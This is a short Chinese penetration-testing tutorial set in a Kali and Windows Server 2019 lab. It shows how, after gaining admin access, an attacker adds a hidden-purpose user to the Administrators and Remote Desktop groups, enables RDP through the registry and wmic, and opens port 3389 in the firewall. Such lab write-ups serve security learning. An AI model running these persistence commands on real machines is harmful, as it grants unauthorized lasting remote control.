0x01 获取window权限（管理员）
使用cs上线用户
kali:192.168.253.234
window server 2019: 192.168.253.243
0x02 添加用户，并且到管理员组
net user uname pass /add 添加用户名为name，密码为pass
net localgroup Administrators uname /add 将用户名为uname的用户添加到管理员组
net user uname /del 删除uname用户
添加用户，并且查看当前的用户
用户添加到管理员组，并且查看管理员组成员：
0x03 开启远程桌面
设置远程桌面的端口（默认开启3389）
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
开启远程桌面：（1代表开启，0代表关闭）
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
开启防火墙通过：
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
0x04 添加到远程桌面组
net localgroup "Remote Desktop Users" uname /add 将用户名为uname的用户添加到远程桌面组
0x05 进行远程
rdesktop IP地址
账号：admin123
密码：Admin@123
文章来源：https://www.toymoban.com/news/detail-480432.html
0x06 免责声明
本文档供学习，请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责！文章来源地址https://www.toymoban.com/news/detail-480432.html
到了这里，关于内网渗透-windows远程用户管理的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
